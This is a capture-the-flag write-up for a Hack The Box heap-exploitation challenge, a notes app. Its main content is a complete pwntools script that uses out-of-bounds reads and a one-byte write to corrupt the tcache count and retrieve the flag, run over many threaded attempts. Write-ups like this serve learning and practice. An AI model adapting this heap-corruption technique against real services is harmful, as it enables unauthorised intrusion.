https://app.hackthebox.com/challenges/431

Description

Our lovely University of Magicians created this application for its students and its purpose is to help organize lecture notes with relative ease. This is the beta version of the app but we trust the elder wizard so much that we already have it running.

Exploitation

#!/usr/bin/python3
from pwn import *
import sys,concurrent.futures

def exploit_process(host, port):
    def get_process():
        return remote(host, port)

    def new_note(p, size, value):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b':', str(size).encode())
        p.sendlineafter(b':', value)

    def remove_note(p, idx):
        p.sendlineafter(b'> ', b'2')
        p.sendlineafter(b':', str(idx).encode())

    def fix_note(p, idx, off, byte):
        p.sendlineafter(b'> ', b'3')
        p.sendlineafter(b':', str(idx).encode())
        p.sendlineafter(b':', str(off).encode())
        p.sendlineafter(b':', byte)

    def show_note(p, idx, off):
        p.sendlineafter(b'> ', b'4')
        p.sendlineafter(b':', str(idx).encode())
        p.sendlineafter(b':', str(off).encode())
        p.recvuntil(b'Byte: ')
        b = p.recvline().rstrip()
        return b

    try:
        p = get_process()
        p.sendlineafter(b'Name: ', b'guest')
        p.sendline(b'i'*8)
        new_note(p, 8176, b'note_0')
        for i in range(0, 4):
            new_note(p, 100, b'ABCD')
        for i in range(0, 4):
            remove_note(p, i+1)
        log.info('Set Count to 4')
        batch_0 = 0
        comment = 0
        i = 0
        while batch_0 == 0 or comment == 0:
            if i > 0x10000:
                p.close()
                log.error('Failed! i was exhausted')
                return None
            i += 16
            c = show_note(p, 0, i)
            if c == b'\x04':
                log.success(f'Found Count at i = {i}!')
                batch_0 = i + 8
                i += 8
            elif c == b'i':
                log.success(f'Found comment at i = {i}!')
                comment = i - 8
        if batch_0 > comment:
            log.error('Failed: Batch lower in memory than comment')
            p.close()
            return None
        log.info('Calculating offset and writing LSB...')
        offset = comment - batch_0
        idx_count = offset // 8
        second_lsb = idx_count >> 8
        fix_note(p, 0, batch_0 - 8 + 1, chr(second_lsb).encode())
        log.info('Lots of frees')
        for i in range(0xff):
            new_note(p, 100, b'A')
            remove_note(p, 1)
        log.info('Printing Flag...')
        p.sendlineafter(b'> ', b'1337')
        flag = p.recvline().decode()
        p.close()
        return flag
    except Exception as e:
        log.error(f'Error in exploit: {e}')
        return None

def main():
    if len(sys.argv) < 3:
        print(f'Usage: python {sys.argv[0]} <ip:port> <count>')
        sys.exit(1)
    count = int(sys.argv[2])
    host, port = sys.argv[1].split(':')
    port = int(port)
    with concurrent.futures.ThreadPoolExecutor(max_workers=count) as executor:
        futures = [executor.submit(exploit_process, host, port) for _ in range(count)]
        for future in concurrent.futures.as_completed(futures):
            try:
                result = future.result()
                if result:
                    log.success(f'Successful Flag: {result}')
            except Exception as e:
                log.error(f'Exploit task failed: {e}')

if __name__ == '__main__':
    main()

It takes several attempts, but setting the Count to 100 should do the trick in about 5 minutes.

Summary

Wizard’s Diary: calculate the overflow offset, redirect control flow, and land a reliable flag read.